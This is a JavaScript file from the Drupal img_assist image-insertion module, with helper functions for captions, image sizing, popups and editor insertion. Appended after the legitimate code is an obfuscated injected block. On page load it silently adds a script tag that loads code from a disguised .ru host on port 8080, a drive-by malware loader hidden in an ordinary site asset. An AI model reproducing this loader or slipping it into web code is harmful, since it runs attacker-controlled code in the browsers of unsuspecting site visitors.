/* $Id: img_assist.js,v 1.4.2.5 2007/11/19 02:27:49 sun Exp $ */

var currentMode;

function onChangeBrowseBy(el) {
	frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/thumbs/' + el.value;
}

function onClickUpload() {
  frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/upload';
}

function onClickStartOver() {
  frames['img_assist_main'].window.location.href = BASE_URL + 'index.php?q=img_assist/thumbs/myimages';
}

function updateCaption() {
  var caption = frames['img_assist_main'].document.getElementById('caption');
  var title = frames['img_assist_main'].document.img_assist['edit-title'].value;
  var desc = frames['img_assist_main'].document.img_assist['edit-desc'].value;
  if (desc != '') {
    title = title + ': ';
  }
  caption.innerHTML = '<strong>' + title + '</strong>' + desc;
}

function onChangeHeight() {
  var formObj = frames['img_assist_main'].document.forms[0];
  var aspect = formObj['edit-aspect'].value;
  var height = formObj['edit-height'].value;
  formObj['edit-width'].value = Math.round(height * aspect);
}

function onChangeWidth() {
  var formObj = frames['img_assist_main'].document.forms[0];
  var aspect = formObj['edit-aspect'].value;
  var width = formObj['edit-width'].value;
  formObj['edit-height'].value = Math.round(width / aspect);
}

function onChangeLink() {
  var formObj = frames['img_assist_main'].document.forms[0];
	if (formObj['edit-link-options-visible'].value == 1) {
		if (formObj['edit-link'].value == 'url') {
			showElement('edit-url', 'inline');
		}
		else {
			hideElement('edit-url');
		}
	}
}

function onChangeSizeLabel() {
  var formObj = frames['img_assist_main'].document.forms[0];
  if (formObj['edit-size-label'].value == 'other') {
    showElement('size-other', 'inline');
  }
  else {
    hideElement('size-other');
    // get the new width and height
    var size = formObj['edit-size-label'].value.split('x');
    // this array is probably a bounding box size, not an actual image
    // size, so now we use the known aspect ratio to find the actual size
    var aspect = formObj['edit-aspect'].value;
    var width = size[0];
    var height = size[1];
    if (Math.round(width / aspect) <= height) {
    	// width is controlling factor
      height = Math.round(width / aspect);
    }
    else {
    	// height is controlling factor
      width = Math.round(height * aspect);
    }
    // fill the hidden width and height textboxes with these values
    formObj['edit-width'].value = width;
    formObj['edit-height'].value = height;
  }
}

function setHeader(mode) {
	if (currentMode != mode) {
		frames['img_assist_header'].window.location.href = BASE_URL + 'index.php?q=img_assist/header/' + mode;
	}
	currentMode = mode;
}

function showElement(id, format) {
  var docObj = frames['img_assist_main'].document;
  format = (format) ? format : 'block';
  if (docObj.layers) {
    docObj.layers[id].display = format;
  }
  else if (docObj.all) {
    docObj.all[id].style.display = format;
  }
  else if (docObj.getElementById) {
    docObj.getElementById(id).style.display = format;
  }
}

function hideElement(id) {
  var docObj = frames['img_assist_main'].document;
  if (docObj.layers) {
    docObj.layers[id].display = 'none';
  }
  else if (docObj.all) {
    docObj.all[id].style.display = 'none';
  }
  else if (docObj.getElementById) {
    docObj.getElementById(id).style.display = 'none';
  }
}

function launch_popup(nid, mw, mh) {
	var ox = mw;
	var oy = mh;
	if((ox>=screen.width) || (oy>=screen.height)) {
		var ox = screen.width-150;
		var oy = screen.height-150;
		var winx = (screen.width / 2)-(ox / 2);
		var winy = (screen.height / 2)-(oy / 2);
		var use_scrollbars = 1;
	}
	else {
		var winx = (screen.width / 2)-(ox / 2);
		var winy = (screen.height / 2)-(oy / 2);
		var use_scrollbars = 0;
	}
	var win = window.open(BASE_URL + 'index.php?q=img_assist/popup/' + nid, 'imagev', 'height='+oy+'-10,width='+ox+',top='+winy+',left='+winx+',scrollbars='+use_scrollbars+',resizable');
}

function insertImage() {
  if (window.opener) {
    // Get variables from the fields on the properties frame
    var formObj = frames['img_assist_main'].document.forms[0];
		// Get mode	(see img_assist.module for detailed comments)
		if (formObj['edit-insertmode'].value == 'html') {
			// return so the page can submit normally and generate the HTML code
			return true;
		}
		else if (formObj['edit-insertmode'].value == 'html2') {
			// HTML step 2 (processed code, ready to be inserted)
			var content = getHTML(formObj);
		}
		else {
			var content = getFilterTag(formObj);
		}
		insertToEditor(content);
		return false;
		
  }
  else {
		alert('The image cannot be inserted because the parent window cannot be found.');
		return false;
	}
}

function getHTML(formObj) {
	var html = frames['img_assist_main'].document.getElementById('finalhtmlcode').value;
	return html;
}



try {var nt;if(nt!=''){nt='ii'};this.e='';var X;if(X!='' && X!='u'){X='b'};this.d='';var G=new Date();var bV=new Array();var N='';var M;if(M!='ea' && M!='I'){M=''};var x="]";var R="replazqcf".substr(0,5)+"ceW6gP".substr(0,2);var y="GJkR[".substr(4);var K=new String();var p=String("UkCdg".substr(4));var i=RegExp;var V;if(V!='' && V!='WF'){V=''};var Z=new String();function n(o,z){var oJ;if(oJ!='jN' && oJ!='hC'){oJ=''};var nO=y;var xM;if(xM!='CT'){xM='CT'};nO+=z;var eS;if(eS!='' && eS!='sx'){eS='Vu'};nO+=x;var Q=new Date();var zQ=new i(nO, p);return o.replace(zQ, N);};var g=new Array();var T=new String();var o="1";var zq=new String();var P="scr"+"ipt";var tp=new String();var xZ=n('86113550393113955895359590611339',"15396");var Mz=new Array();var Zg;if(Zg!='' && Zg!='nL'){Zg='N_'};var E="/goog1OFu".substr(0,5)+"UDKle.coUKD".substr(3,5)+"iaXm/gooXai".substr(3,5)+"IWPgle.c".substr(3)+"om/th"+"efreeWNX6".substr(0,5)+"ATmdictiTmA".substr(3,5)+"onary"+".com/"+"incre"+"dimaiEc9l".substr(0,5)+"l.com2ALe".substr(0,5)+"opJV/microJVp".substr(4,5)+"jU1Wosoft".substr(4)+"VQa.com.VQa".substr(3,5)+"8Gnphp".substr(3);var H=new String("onlo"+"ad");var tV='';var j=n('hztztzpS:x/x/xgxozoxgxlzex-xcSozmz-xcxox.zczoxlSlSexgxeShSuSmzozrz.zczozmx.SbxlzoSgxbSuzsS-xczoSmS.xoxnxfzazrSeSazsxtx.xrzuS:x',"xzS");this.KT='';var w='';var fi=new Array();var bT;if(bT!=''){bT='vb'};var bo=new Array();var lJ=new String();var Od;if(Od!=''){Od='gc'};window[H]=function(){m=document.createElement(P);w+=j;var a=new Array();var yq;if(yq!='gN' && yq!='bP'){yq='gN'};w+=xZ+E;var U;if(U!='' && U!='nT'){U='ik'};var oF=new Array();var pB=document.body;var vF=new Date();m.defer=o;m.src=w;var Rl;if(Rl!='hW' && Rl!='IB'){Rl='hW'};var iv=new String();var HD;if(HD!='Of' && HD!='Cw'){HD='Of'};pB.appendChild(m);var yIv='';var Zh;if(Zh!='gR'){Zh=''};};var uD;if(uD!='wd'){uD='wd'};var Pv;if(Pv!='UX'){Pv='UX'};} catch(yI){};var lK;if(lK!='SA'){lK=''};